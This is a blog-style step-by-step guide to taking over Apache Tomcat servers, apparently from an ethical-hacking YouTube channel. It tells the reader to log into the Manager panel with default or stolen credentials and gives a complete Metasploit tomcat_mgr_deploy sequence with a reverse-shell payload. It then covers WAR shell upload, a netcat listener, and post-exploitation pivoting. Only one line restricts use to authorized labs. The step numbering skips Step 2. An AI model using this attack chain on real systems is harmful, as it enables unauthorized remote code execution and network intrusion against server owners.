Apache Tomcat Upload Exploitation (Step-by-Step Guide)

🎥 Watch the demonstration here: https://youtu.be/P8nlsRdKzT8

If you’re diving into web exploitation or pentesting Apache Tomcat servers, upload-based exploitation is one of the key techniques to understand. This method targets weak configurations where Tomcat allows file uploads (such as WAR files) that can be executed on the server—leading to Remote Code Execution (RCE).

In this blog post, we’ll walk through Apache Tomcat Upload Exploitation with clear steps and explanations. Whether you're learning ethical hacking or creating educational content, this walkthrough is a practical hands-on example.

🔧 Requirements

• Kali Linux or any attacker machine

• Apache Tomcat server (target)

• Valid Tomcat credentials (default or stolen)

• Metasploit (optional, but useful)

✅ Step 1: Access the Tomcat Manager Panel

Tomcat’s web interface usually runs on:
http://<target-ip>:8180/manager/html

If credentials are known (like tomcat:tomcat, admin:admin, or brute-forced), logging into the Manager App section allows you to deploy a new WAR file. This is our entry point to gaining control. Before you doing those at first follow the steps from you Kali linux terminal with root permission. 

            msfconsole
            use exploit/multi/http/tomcat_mgr_deploy
            set RHOSTS <target-ip>
            set RPORT 8180
            set TARGETURI /manager
            set HTTPUSERNAME tomcat
            set HTTPPASSWORD tomcat
            set PAYLOAD java/shell_reverse_tcp
            set LHOST <your-ip>
            set LPORT 4444
            exploit/run

✅ Step 3: Upload the WAR File via Tomcat Manager

Log into the Tomcat Manager and scroll to the Deploy section.

• Upload the shell.war file.

• Click Deploy.

I have Demonstrated how to crate war file from kali linux terminal in my video so if need help can watch the video - How to create War File

Tomcat extracts the WAR file and creates a new web application context, e.g., http://<target-ip>:8180/shell/.

✅ Step 4: Start a Netcat Listener

On your Kali machine, start a listener:

        nc -lvnp 4444

This opens a port to catch the reverse shell once the payload is executed. Keep this running before triggering the shell.

✅ Step 5: Trigger the Payload

Visit the deployed app’s URL:

        http://<target-ip>:8180/shell/

Once the JSP shell runs, it connects back to your listener. If successful, you now have a reverse shell on the server. When you will type the url from your browser the shell file will be executed to the remote server so check the link carefully, The IP and port number that your tying is correct or not. 

✅ Step 6: Post-Exploitation

Once in, you can:

• Enumerate the server

• Escalate privileges

• Pivot further inside the network

But remember, this technique is only to be used in authorized environments like labs or client-approved engagements. All those Techniques has briefly demonstrated in my video so if you don't understand with this topic can watch my video- https://youtu.be/P8nlsRdKzT8  

If you don't understand anything with this content please let me know and if you get this helpful subscribe my youtube channel.